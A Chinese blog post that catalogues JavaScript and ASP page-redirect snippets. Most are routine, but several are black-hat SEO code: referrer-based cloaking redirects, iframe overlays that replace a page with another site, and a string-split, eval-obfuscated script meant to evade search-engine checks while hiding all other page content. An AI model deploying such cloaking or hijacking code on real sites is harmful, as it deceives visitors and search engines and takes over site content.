几种js跳转代码及方式
时间:7年前 阅读:6615
对于做网站的人来说,常常需要做js跳转,对于做seo的人来说,尤其是有兴趣涉足黑帽seo的人员,js跳转更是家常便饭。那么,js跳转有哪些类型呢,今天小编在这里给大家总结了一下大概的js跳转种类,希望能对大家有所帮助。
一、从一个页面跳转到另一个页面
1、在本窗口中跳转到另一个页面
<script type="text/javascript">
window.location.href="目标页面";
</script>
2、跳转到另一个新窗口:
<script type="text/javascript">
window.open('目标页面');
</script>
3、JS页面跳转参数的注解
<SCRIPT LANGUAGE="javascript">
<!--
window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')
//写成一行
-->
</SCRIPT>
参数解释:
<SCRIPT LANGUAGE="javascript"> js脚本开始;
window.open 弹出新窗口的命令;
'page.html' 弹出窗口的文件名;
'newwindow' 弹出窗口的名字(不是文件名),非必须,可用空'代替;
height=100 窗口高度;
width=500 窗口宽度;
top=0 窗口距离屏幕上方的象素值;
left=0 窗口距离屏幕左侧的象素值。
从这段代码中可以看到,js的控制很细致,从窗体的大小到窗体的位置都可以控制到位。开头的SCRIPT LANGUAGE,不一定非写成大写,小写的也行,只是一个js开始的开始标志。
二、跳转指定页面的JS代码
第1种:
<script language="javascript" type="text/javascript"> window.location.href="login.jsp?backurl="+window.location.href; </script>
这个往往在注册用户时会用到,比如检测这个用户的某个操作必须是会员,但对方没有注册,从而跳转到注册页面。
第2种:
<script language="javascript">
alert("返回");
window.history.back(-1);
</script>
经常可以看到网页上有“返回”按钮,点击后会返回到之前查看的页面,就是通过这段js代码实现的
第3种:
<script language="javascript">
window.navigate("top.jsp");
</script>
第4种:
<script language="JavaScript">
self.location=’top.htm’;
</script>
第5种:
<script language="javascript">
alert("非法访问!");
top.location=’xx.jsp’;
</script>
这是针对于不允许访问的页面做的跳转或者访问出错等等,直接跳转到首页也可以。
三、页面停留指定时间再跳转(如3秒)
<script type="text/javascript">
function jumurl(){
window.location.href = 'http://www.xxxxxxxxx.cn/';
}
setTimeout(jumurl,3000);
</script>
四、根据访客来源跳转的JS代码。做黑帽seo的人员,往往会通过来访的是普通个人还是搜索引擎做判断,如果对方是搜索引擎,那么就把它引向另一个优化好的网页,如果对方是普通用户,又引导到另一个网页。这种手段不建议用,但是技术可以知道,用js判断来访者,然后针对搜索引擎做js跳转,就是这么简单。
1、JS判断来路代码
此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:
<script LANGUAGE="Javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )
location.href="http://www.xxxxxxxxx.cn/";
</script>
2、JS直接跳转代码
<script LANGUAGE="Javascript"> location.href="http://www.xxxxxxxxx.cn/"; </script>
3、ASP跳转代码判断来路
<%
if instr(Request.ServerVariables("http_referer"),"www.xxxxxx.com")>0 then
response.redirect("http://www.xxxxxxxxx.cn/")
end if
%>
4、ASP直接跳转的
<%
response.redirect("http://www.xxxxxxxxx.cn/")
%>
五、广告与网站页面一起的JS代码
1、上面是广告下面是站群的代码
document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=http://www.xxxxxxxxx.cn/></iframe>");
2、全部覆盖的代码
document.write("</iframe><iframe src='http://www.xxxxxxxxx.cn/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");
3、混淆防止搜索引擎被查的js调用
具体的展示上面是广告下面是站群的代码:
var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"></iframe></center>';
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
try{
setInterval(function(){
try{
document.getElementById("div"+"All").style.display="no"+"ne";
}catch(e){}
for(var i=0;i<document.body.children.length;i++){
try{
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){
// if(tagname!="center"){
document.body.children[i].style.display="non"+"e";
//}
}
}catch(e){}
}
},100);
}catch(e){}
虽有有些问题用php也能解决,但是跳转方面,js的技术可以说无出其左右的,这也得益于js之父对浏览器的理解,编写了这种语言。现在html5技术达到了有史以来的最高潮,随之而来的是对js的广泛需求。h5技术配合js技术,能实现各种高大上的炫丽效果。最常用的几种js跳转方式及代码集锦介绍到这里,加油。
最近2019流行的中转代码:
相关页面调用
<script type="text/javascript" src="/jpjs/common.js?v=1556521511" charset="utf-8"></script>
var sUserAgent= navigator.userAgent.toLowerCase();
var bIsIphoneOs= sUserAgent.match(/iphone/i) == "iphone";
var bIsSymb= sUserAgent.match(/symbianos/i) == "symbianos";
var bIsIpad= sUserAgent.match(/ipad/i) == "ipad";
var bIsIpod= sUserAgent.match(/ipod/i) == "ipod";
var bIsAndroid= sUserAgent.match(/android/i) == "android";
var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce";
var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile";
var bIsWP= sUserAgent.match(/windows phone/i) == "windows phone";
var isBDAPP=sUserAgent.match(/baiduboxapp/i) == "baiduboxapp";
var isBDBrowser=sUserAgent.match(/baidubrowser/i) == "baidubrowser";
var isM= bIsIphoneOs || bIsSymb || bIsIpad || bIsIpod || bIsAndroid || bIsCE || bIsWM || bIsWP;
if (!isM){
window.location.href="https://www.youku.com/";
}
2019年06月19日 09:12 最后编辑
本站声明:网站内容来源于网络,如有侵权,请联系我们https://www.qiquanji.com,我们将及时处理。
微信扫码关注
更新实时通知

网友评论